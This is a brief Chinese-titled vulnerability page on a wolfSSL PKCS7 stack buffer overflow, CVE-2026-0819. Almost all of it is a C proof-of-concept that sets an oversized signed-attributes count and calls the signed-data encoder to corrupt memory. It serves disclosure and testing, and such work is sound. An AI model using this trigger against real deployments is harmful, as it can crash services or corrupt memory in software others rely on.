CVE-2026-0819 wolfSSL PKCS7栈缓冲区溢出漏洞

/* * PoC for CVE-2026-0819 * Conceptual demonstration of triggering the buffer overflow. * This requires a wolfSSL environment and proper context setup. */ #include <wolfssl/options.h> #include <wolfssl/wolfcrypt/pkcs7.h> #include <wolfssl/wolfcrypt/asn.h> #include <stdio.h> int main() { int ret; byte der[1024]; int derSz = sizeof(der); // Initialize PKCS7 structure (Context setup required in real env) PKCS7* pkcs7 = wc_PKCS7_New(NULL, INVALID_DEVID); if (!pkcs7) { printf("Failed to init PKCS7\n"); return -1; } // Vulnerability Trigger: // MAX_SIGNED_ATTRIBS_SZ is 7. Setting a size larger than available space // causes EncodeAttributes to write beyond signedAttribs[7] boundaries. // In a real scenario, this value comes from untrusted input. pkcs7->signedAttribsSz = 100; // The encoding process calls wc_PKCS7_BuildSignedAttributes internally. // This triggers the stack/heap corruption. ret = wc_PKCS7_EncodeSignedData(pkcs7, der, &derSz); if (ret < 0) { printf("Encode failed/crashed as expected: %d\n", ret); } else { printf("Encoding succeeded (unexpected)\n"); } wc_PKCS7_Free(pkcs7); return 0; }